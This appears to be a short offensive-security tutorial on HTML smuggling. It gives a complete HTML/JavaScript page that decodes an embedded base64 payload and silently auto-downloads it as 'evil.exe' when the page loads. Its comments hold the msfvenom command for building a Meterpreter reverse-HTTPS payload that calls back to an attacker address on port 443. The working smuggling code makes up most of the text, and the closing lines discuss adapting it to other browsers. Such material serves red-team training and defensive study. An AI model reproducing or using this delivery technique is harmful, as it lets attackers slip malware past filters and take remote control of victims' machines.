Base64 code is placed into an array buffer, byte-by-byte.
The array buffer is placed into the binary blob.
A hidden a tag is created.
The data from the binary blob is moved to the href reference of the a tag.
The code from the binary blob is given the file name of evil.exe.
Finally, a click action is performed to download the file.
smuggling.html
<html>
<body>
<script>
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
return bytes.buffer;
}
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 -f exe -o evil.exe
// base64 -w0 evil.exe | xclip -i -sel clipboard
var file ='<METERPRETER_BASE64_CONTENTS>'
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'evil.exe';
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
</script>
</body>
</html>
This page will work when browsed with Google Chrome (since it supports window.URL.createObjectURL). This technique must be modified to work against browsers like IE or Microsoft Edge.
